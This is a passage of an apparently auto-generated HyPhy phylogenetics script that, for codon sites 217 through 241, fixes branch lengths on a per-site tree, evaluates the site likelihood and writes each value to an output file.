assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "217\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 218...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "651,652,653", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 218");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "218\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 219...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "654,655,656", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 219");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "219\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 220...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "657,658,659", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 220");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "220\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 221...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "660,661,662", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 221");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "221\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 222...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "663,664,665", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 222");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "222\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 223...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "666,667,668", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 223");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "223\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 224...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "669,670,671", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 224");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "224\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 225...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "672,673,674", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 225");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "225\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 226...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "675,676,677", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 226");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "226\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 227...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "678,679,680", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 227");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "227\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 228...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "681,682,683", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 228");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "228\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 229...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "684,685,686", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 229");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "229\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 230...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "687,688,689", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 230");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "230\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 231...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "690,691,692", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 231");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "231\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 232...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "693,694,695", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 232");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "232\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 233...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "696,697,698", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 233");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "233\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 234...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "699,700,701", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 234");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "234\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 235...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "702,703,704", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 235");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "235\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 236...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "705,706,707", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 236");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "236\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 237...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "708,709,710", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 237");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "237\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 238...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "711,712,713", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 238");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "238\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 239...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "714,715,716", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 239");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "239\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 240...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "717,718,719", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 240");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "240\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 241...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "720,721,722", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 241");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
